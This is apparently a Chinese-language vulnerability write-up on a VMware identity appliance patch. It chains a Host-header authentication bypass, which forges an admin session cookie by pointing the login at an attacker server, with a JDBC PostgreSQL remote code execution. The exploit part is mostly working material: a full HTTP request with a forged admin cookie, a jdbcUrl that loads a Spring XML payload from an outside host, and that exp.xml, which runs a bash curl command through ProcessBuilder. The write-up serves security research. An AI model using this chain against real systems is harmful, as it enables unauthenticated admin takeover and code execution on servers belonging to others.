补丁对比

HW-156875-Appliance-21.08.0.1/frontend-0.1.war中增加了一个HostHeaderFilter,匹配全路由

1.png

然后删除了DBConnectionCheckController,这个地方有jdbc attack。

权限绕过

查看HostHeaderFilter代码

  1package com.vmware.horizon;
  2
  3import com.google.common.annotations.VisibleForTesting;
  4import com.tricipher.saas.action.api.GlobalConfigService;
  5import com.vmware.horizon.common.utils.HorizonPropertyHolder;
  6import com.vmware.horizon.common.utils.system.ApplianceNetworkDetails;
  7import com.vmware.horizon.common.utils.system.ApplianceUtil;
  8import java.io.IOException;
  9import java.util.Optional;
 10import javax.servlet.Filter;
 11import javax.servlet.FilterChain;
 12import javax.servlet.FilterConfig;
 13import javax.servlet.ServletException;
 14import javax.servlet.ServletRequest;
 15import javax.servlet.ServletResponse;
 16import javax.servlet.http.HttpServletRequest;
 17import javax.servlet.http.HttpServletResponse;
 18import org.apache.commons.lang3.StringUtils;
 19import org.slf4j.Logger;
 20import org.slf4j.LoggerFactory;
 21import org.springframework.beans.factory.annotation.Autowired;
 22import org.springframework.stereotype.Component;
 23
 24@Component("HostHeaderFilter")
 25public class HostHeaderFilter implements Filter {
 26    private static final Logger log = LoggerFactory.getLogger(HostHeaderFilter.class);
 27    private static final String LOCALHOST = "localhost";
 28    private static final String LOCALHOST_IP_ADDRESS = "127.0.0.1";
 29    private static final int INVALID_HOST_NAME_STATUS_CODE = 444;
 30    @Autowired
 31    private HorizonPropertyHolder horizonPropertyHolder;
 32    @Autowired
 33    private ApplianceUtil applianceUtil;
 34    @Autowired
 35    private GlobalConfigService globalConfigService;
 36    private ApplianceNetworkDetails applianceNetworkDetails = null;
 37    private Boolean isOnPremise;
 38    private Boolean isSingleTenant;
 39
 40    public HostHeaderFilter() {
 41        this.isOnPremise = Boolean.FALSE;
 42        this.isSingleTenant = Boolean.FALSE;
 43    }
 44
 45    public void init(FilterConfig filterConfig) throws ServletException {
 46    }
 47
 48    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
 49        this.isOnPremise = this.globalConfigService.isServiceOnPrem();
 50        this.isSingleTenant = this.globalConfigService.isServiceSingleTenant();
 51        if (this.applianceNetworkDetails == null) {
 52            this.applianceNetworkDetails = (ApplianceNetworkDetails)Optional.ofNullable(this.applianceUtil.getApplianceNetworkDetails()).orElse(new ApplianceNetworkDetails());
 53        }
 54
 55        if (request != null && request instanceof HttpServletRequest) {
 56            HttpServletRequest httpServletRequest = (HttpServletRequest)request;
 57            String serverName = httpServletRequest.getServerName();
 58            if (StringUtils.isNotBlank(httpServletRequest.getHeader("Host")) && StringUtils.isNotBlank(serverName)) {
 59                serverName = serverName.trim();
 60                String gatewayHostName = StringUtils.isNotBlank(this.horizonPropertyHolder.getGatewayHostName()) ? this.horizonPropertyHolder.getGatewayHostName().trim() : "";
 61                boolean isValidServerName = this.isServerNameAmongTheValidList(serverName, gatewayHostName);
 62                if (!isValidServerName) {
 63                    isValidServerName = this.isServerNameValidForMultiTenantOnPremOrCloudCase(serverName, gatewayHostName);
 64                }
 65
 66                if (!isValidServerName) {
 67                    log.error("Rejecting request since host header value does not match configured gateway.hostname or localhost or appliance hostname/IP address: {} ", serverName);
 68                    if (response instanceof HttpServletResponse) {
 69                        ((HttpServletResponse)response).setStatus(444);
 70                    }
 71
 72                    return;
 73                }
 74            }
 75        }
 76
 77        filterChain.doFilter(request, response);
 78    }
 79
 80    public void destroy() {
 81    }
 82
 83    private boolean isServerNameAmongTheValidList(String serverName, String gatewayHostName) {
 84        return serverName.equalsIgnoreCase(gatewayHostName) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getHostname()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV4Address()) || serverName.equalsIgnoreCase(this.applianceNetworkDetails.getIpV6Address()) || serverName.equalsIgnoreCase("localhost") || serverName.equalsIgnoreCase("127.0.0.1");
 85    }
 86
 87    private boolean isServerNameValidForMultiTenantOnPremOrCloudCase(String serverName, String gatewayHostName) {
 88        if (!this.isSingleTenant || !this.isOnPremise) {
 89            String gatewayDomainName = this.getDomainFromHostname(gatewayHostName);
 90            if (StringUtils.isNotBlank(gatewayDomainName) && serverName.toLowerCase().endsWith(gatewayDomainName.toLowerCase())) {
 91                return Boolean.TRUE;
 92            }
 93        }
 94
 95        return Boolean.FALSE;
 96    }
 97
 98    @VisibleForTesting
 99    String getDomainFromHostname(String hostname) {
100        return StringUtils.isNotBlank(hostname) && hostname.indexOf(46) > 0 ? StringUtils.substring(hostname, hostname.indexOf(".") + 1).trim() : "";
101    }
102}

可见对host做了判断,那么伪造host为我们自己的http服务呢?

在登录请求包中修改host为我们的恶意服务端

2.png

发现服务器对我们的恶意服务端发起了请求。

3.png

随便给一个host

4.png

此时查看log发现vm在尝试解析主机名并对其发起了请求。

5.png

回溯堆栈,在com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login

6.png

将传入的账号密码调用本地密码服务发起http请求api来鉴权,然后通过generateSuccessResponse()返回授权成功,其中endpoint来自于com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl

7.png

这里用request.getServerName()造成了可以伪造host来控制授权服务。

接着来把host设置为dnslog,看一下请求中包含的东西

8.png

此时响应包中返回了授权成功的cookie

9.png

jwt解出来

 1{
 2  "jti": "3b448f71-f384-481c-be2d-8e91f7062208",
 3  "prn": "admin@VM",
 4  "domain": "System Domain",
 5  "user_id": "5",
 6  "auth_time": 1653647444,
 7  "iss": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth",
 8  "aud": "https://ca83h9d2vtc0000abv9ggfrbawwyyyyyb.interact.sh/SAAS/auth/oauthtoken",
 9  "ctx": "[{\"mtd\":\"urn:vmware:names:ac:classes:LocalPasswordAuth\",\"iat\":1653647444,\"id\":3,\"typ\":\"00000000-0000-0000-0000-000000000014\",\"idm\":true}]",
10  "scp": "profile admin user email operator",
11  "idp": "2",
12  "eml": "localAdmin@example.com",
13  "cid": "",
14  "did": "",
15  "wid": "",
16  "rules": {
17    "expiry": 1653676244,
18    "rules": [
19      {
20        "name": null,
21        "disabled": false,
22        "description": null,
23        "resources": [
24          "*"
25        ],
26        "actions": [
27          "*"
28        ],
29        "conditions": null,
30        "advice": null
31      }
32    ],
33    "link": null
34  },
35  "pid": "3b448f71-f384-481c-be2d-8e91f7062208",
36  "exp": 1653676244,
37  "iat": 1653647444,
38  "sub": "d054089a-6044-4486-b534-8b0dd105f803",
39  "prn_type": "USER"
40}

由此就绕过了鉴权。

rce

jdbc postgresql rce

1POST /SAAS/API/1.0/REST/system/dbCheck HTTP/1.1
2Host: vm.test.local
3Cookie: HZN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJqdGkiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJwcm4iOiJhZG1pbkBWTSIsImRvbWFpbiI6IlN5c3RlbSBEb21haW4iLCJ1c2VyX2lkIjoiNSIsImF1dGhfdGltZSI6MTY1MzY0NzgwMiwiaXNzIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoIiwiYXVkIjoiaHR0cHM6Ly9jYTgzaDlkMnZ0YzAwMDBhYnY5Z2dmcmJhd3d5eXl5eWIuaW50ZXJhY3Quc2gvU0FBUy9hdXRoL29hdXRodG9rZW4iLCJjdHgiOiJbe1wibXRkXCI6XCJ1cm46dm13YXJlOm5hbWVzOmFjOmNsYXNzZXM6TG9jYWxQYXNzd29yZEF1dGhcIixcImlhdFwiOjE2NTM2NDc4MDIsXCJpZFwiOjMsXCJ0eXBcIjpcIjAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAxNFwiLFwiaWRtXCI6dHJ1ZX1dIiwic2NwIjoicHJvZmlsZSBhZG1pbiB1c2VyIGVtYWlsIG9wZXJhdG9yIiwiaWRwIjoiMiIsImVtbCI6ImxvY2FsQWRtaW5AZXhhbXBsZS5jb20iLCJjaWQiOiIiLCJkaWQiOiIiLCJ3aWQiOiIiLCJydWxlcyI6eyJleHBpcnkiOjE2NTM2NzY2MDIsInJ1bGVzIjpbeyJuYW1lIjpudWxsLCJkaXNhYmxlZCI6ZmFsc2UsImRlc2NyaXB0aW9uIjpudWxsLCJyZXNvdXJjZXMiOlsiKiJdLCJhY3Rpb25zIjpbIioiXSwiY29uZGl0aW9ucyI6bnVsbCwiYWR2aWNlIjpudWxsfV0sImxpbmsiOm51bGx9LCJwaWQiOiJkY2M0NjZmNS0wNWRmLTRiYjAtOTFkYy00NzZmNWY0MWViNmYiLCJleHAiOjE2NTM2NzY2MDIsImlhdCI6MTY1MzY0NzgwMiwic3ViIjoiZDA1NDA4OWEtNjA0NC00NDg2LWI1MzQtOGIwZGQxMDVmODAzIiwicHJuX3R5cGUiOiJVU0VSIn0.OJnqYjukOzG4ev45jp0eNtyy97oirmYOLnhDgGtQQZLipmqhVHvRoSKIRg3rtAiXWurL4HbnTqjLtkQARU1K4D8ufnqiVgob0lzTfoa43GQ2XqFdzvekoHpr4_72a7egn4blB1PiOj_qi3sGmbwPbPPHYv3rRGaRroRsPFRFw-JWWRhSoNa34ggkm3_3XFP25ebXoi6-aHQUh_UzWmW6T-KUcEehGA46vOWdMek0UbyjCe-7e1NPwwf-TeJievzthPubiTWB5lTV25OC5S1B-o715t3nc4j4VDUzh3LBsDpNbM_S4g7Mf9ChQUHiM2GbXEhRI3ot9wCDPXBr2vysjQ;
4Content-Type: application/x-www-form-urlencoded
5Content-Length: 196
6
7jdbcUrl=jdbc:postgresql://localhost/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=http://192.168.1.178:9091/exp.xml&dbUsername=&dbPassword=

exp.xml如下

 1<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
 2  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
 3    <constructor-arg>
 4      <list>
 5        <value>/bin/bash</value>
 6        <value>-c</value>
 7        <value>curl 192.168.1.178:9091/pwned</value>
 8      </list>
 9    </constructor-arg>
10  </bean>
11</beans>

10.png

总结

挺离谱的洞

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。